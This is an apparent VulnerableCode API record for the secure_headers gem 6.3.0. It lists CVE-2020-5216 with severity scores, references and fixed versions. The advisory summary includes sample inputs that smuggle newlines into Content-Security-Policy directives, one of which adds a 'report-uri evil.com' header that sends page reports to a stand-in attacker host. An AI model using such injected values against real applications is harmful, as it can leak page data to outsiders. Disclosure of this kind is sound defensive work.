Package Instance
Lookup for vulnerable packages by Package URL.
GET /api/packages/76512?format=api
{ "url": "http://public2.vulnerablecode.io/api/packages/76512?format=api", "purl": "pkg:gem/secure_headers@6.3.0", "type": "gem", "namespace": "", "name": "secure_headers", "version": "6.3.0", "qualifiers": {}, "subpath": "", "is_vulnerable": false, "next_non_vulnerable_version": null, "latest_non_vulnerable_version": null, "affected_by_vulnerabilities": [], "fixing_vulnerabilities": [ { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/51655?format=api", "vulnerability_id": "VCID-mr8k-d23n-e3c6", "summary": "secure_headers header injection due to newline\nIf user-supplied input was passed into append/override_content_security_policy_directives,\na newline could be injected leading to limited header injection.\n\nUpon seeing a newline in the header, rails will silently create a new Content-Security-Policy\nheader with the remaining value of the original string. It will continue to create new headers\nfor each newline.\n\ne.g.\n\n```\noverride_content_security_directives(script_src: ['mycdn.com', \"\\ninjected\\n\"])\n```\n\nwould result in\n\n```\nContent-Security-Policy: ... script-src: mycdn.com\nContent-Security-Policy: injected\nContent-Security-Policy: rest-of-the-header\n```\n\nCSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:\n\n```\noverride_content_security_directives(script_src: [\"mycdn.com\", \"\\ndefault-src 'none'; report-uri evil.com\"])\n```\n\n```\nContent-Security-Policy: ... script-src: mycdn.com\nContent-Security-Policy: default-src 'none'; report-uri evil.com\nContent-Security-Policy: rest-of-the-header\n```\n\nWorkarounds\n```\noverride_content_security_policy_directives(:frame_src, [user_input.gsub(\"\\n\", \" \")])\n```", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2020-5216.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.8", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2020-5216.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2020-5216", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00347", "scoring_system": "epss", "scoring_elements": "0.57521", "published_at": "2026-06-04T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2020-5216" }, { "reference_url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5216.yml", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5216.yml" }, { "reference_url": "https://github.com/twitter/secure_headers", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/twitter/secure_headers" }, { "reference_url": "https://github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0" }, { "reference_url": "https://github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.4", "scoring_system": "cvssv3", "scoring_elements": "" }, { "value": "4.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=1801286", "reference_id": "1801286", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1801286" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=949998", "reference_id": "949998", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=949998" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5216", "reference_id": "CVE-2020-5216", "reference_type": "", "scores": [ { "value": "4.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5216" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2020:4366", "reference_id": "RHSA-2020:4366", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2020:4366" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/76510?format=api", "purl": "pkg:gem/secure_headers@3.9.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@3.9.0" }, { "url": "http://public2.vulnerablecode.io/api/packages/76511?format=api", "purl": "pkg:gem/secure_headers@5.2.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@5.2.0" }, { "url": "http://public2.vulnerablecode.io/api/packages/247465?format=api", "purl": "pkg:gem/secure_headers@6.0.0.alpha01", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@6.0.0.alpha01" }, { "url": "http://public2.vulnerablecode.io/api/packages/76512?format=api", "purl": "pkg:gem/secure_headers@6.3.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@6.3.0" } ], "aliases": [ "CVE-2020-5216", "GHSA-w978-rmpf-qmwg" ], "risk_score": 3.1, "exploitability": "0.5", "weighted_severity": "6.2", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-mr8k-d23n-e3c6" } ], "risk_score": null, "resource_url": "http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@6.3.0" }